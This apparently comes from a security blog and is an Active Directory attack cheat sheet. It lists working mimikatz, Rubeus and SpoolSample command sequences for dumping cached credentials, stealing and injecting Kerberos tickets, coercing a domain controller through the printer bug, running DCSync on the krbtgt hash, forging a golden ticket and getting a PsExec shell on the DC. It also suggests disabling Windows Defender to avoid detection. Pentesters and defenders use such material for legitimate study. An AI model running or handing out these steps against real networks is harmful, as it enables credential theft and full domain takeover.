Ceso Adventures

Blogs, Security CTFs & Tutorials

Exploitation

List all available credentials cached (Hashes and Passwords; Logged on user and computer)

mimikatz.exe "sekurlsa::logonpasswords" exit

Convert to ccache

We can use the tool ticket_converter written by zer1t0 for converting kirbi tickets to ccache and viceversa:

Convert from b64 encoded blob to kirbi:
  [IO.File]::WriteAllBytes("C:\fullpathtoticket.kirbi", [Convert]::FromBase64String("aa…"))
Convert the .kiribi to .ccache:
  python ticket_converter.py ticket.ccache ticket.kirbi
Copy the ccache to our attacker machine and export the KRB5CCNAME variable:
  export KRB5CCNAME=/path/to/ticket.ccache

GenericAll

_TODO

GenericWrite

_TODO

WriteDACL

_TODO

Unconstrained Delegation

We have local adminstrative access to a host which is configured for Kerberos Unconstrained Delegation. We can leverage Rubeus for an auth from the DC and then steal the TGT, this can be used to perform a DCSync to obtain the NTLM hash for ANY account. Other way is by triggering the printer bug on a domain controller to coerce to authenticate to the host compromised we have using it’s machine account.

If a computer account has TRUSTED_FOR_DELEGATION in it’s UserAccountControl (UAC), then it’s a viable target. Domain controllers will also have SERVER_TRUST_ACCOUNT_UAC, so…if it the machine has this, then it’s a DC.

By Forwardable TGT after login

1 - Enumerate if there if there is unconstrained delegation
2 - If there is, open mimikatz (commands blow are inside it)
3 - privilege::debug <-- Enable debug
4 - sekurlsa::tickets <-- List all the present tickets
5 - Through phishing or visit of a page, if the user has Windows Auth then it will use kerberos
6 - sekurlsa::tickets <-- Verify if there are new TGT's
7 - sekurlsa::tickets /export <-- If new TGT and marked as forwardable export them to disk
8 - kerberos::ptt /inject:<some-exported-tkt-file.kirbi> <-- Inject the exported ticket into memory
9 - C:\Windows\Temp\PsExec.exe \\example.com cmd <-- Try to get a cmd shell in example.com by leveraging injected ticket

* By default every user allows their TGT to be delegated, but high privilege users can be added to the group "Protected Users Group" to disable it, it also can break the application for which at the beggining unconstrained delegation was enabled for those users

By using of SpoolSample.exe (printer bug)

1 - Download and compile SpoolSample in a dev machine, it can be downloaded from: https://github.com/leechristensen/SpoolSample
2 - Download and compile Rubeus in a dev machine, it can be downloaded from: https://github.com/GhostPack/Rubeus
3 - Find a way to upload SpoolSample and Rubeus without being detected (for example, disabling Windows Defender, or injecting them into memory through reflection for example), for ease of the technique, all below is just written to disk
4 - Rubeus.exe monitor /interval:5 /filteruser:DC01$ <-- Monitor for TGTs originated in the DC01 machine. THIS MUST BE RUN FROM A DIFFERENT SHELL THAN THE ONE USED FOR THE NEXT STEP
5 - SpoolSample.exe DC01 VICTIM01 <-- Leverage "RpcOpenPrinter" and "RpcRemoteFindFirstPrinterChangeNotification" to get a notif
6 - Rubeus.exe ptt /ticket:<b64-from-rubeus-monitor> <-- Inject into memory the b64 ticket obtained by monitoring for tickets from DC01 to VICTIM01
7 - lsadump::dcsync /domain:example.com /user:example\krbtgt <-- Dump the NTLM hash of the krbtgt user by leveraging the just injected ticket (It could also be possible to dump the hash of the pass of a member from the "Domain Admins" group). THIS IS RUN FROM INSIDE MIMIKATZ
8 - kerberos::golden /user:krbtgt /domain:example.com /sid:<sid-showed-in-dcsync or obtained by PowerView> /rc4:<ntlm-hash-dumped-with-dcsync> /ptt <-- Craft a golden ticket and inject it into memory
9 - dir \\dc01\\c$ <-- Verify read access on dc01
10 - misc::cmd <-- Open cmd prompt from inside Mimikatz
11 - C:\Windows\Temp\PsExec.exe -accepteula \\dc01 cmd <-- Get a shell on dc01 by leveraging the golden ticket injected

Constrained Delegation

We have compromised a computer/user account configured for Constrained Delegation (ie, the account’s UserAccountControl attribute contains the value TRUSTED_TO_AUTH_FOR_DELEGATION). If it is, it’s A MUST to look also after msDS-AllowedToDelegateTo account’s property, this will have one or more hostnames/SPNs where our account will be allowed to impersonate any (non-sensitive/unproctected) user in the domain.

We have 2 scenarios where we can have Constrained Delegation:

  • 1 - We have command execution in the account in question, but not know the password for it
  • 2 - We know the NTLM hash, or at least can get the hash from the NTLM hash

Resource-Based Constrained Delegation (RBCD)

Only found if we are working on an envrionment which is running domain controllers with Windows Server 2012 or higher. This one is complex than the Unconstrained/Constrained.

The scenarios where we can leverage this are:

  • 1 - Computer/User account compromised listed in another computer account’s msDS-AllowedToActOnBehalfOfOtherIdentity attribute. Used to leverage ANY user account on the host which has the property
  • 2 - Computer/User account which has GenericWrite to another computer account in the domain, can be leveraged to add the account compromised to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target and afterwards impersonate ANY user account.
  • 3 - We don’t have credentials, but we can get to relay a hash with responder/impacket-ntlmrelayx/mitm6 to LDAP and create a new computer account and add it to the msDS-AllowedToActOnBehalfOfOtherIdentity property. Later on impersonate any user.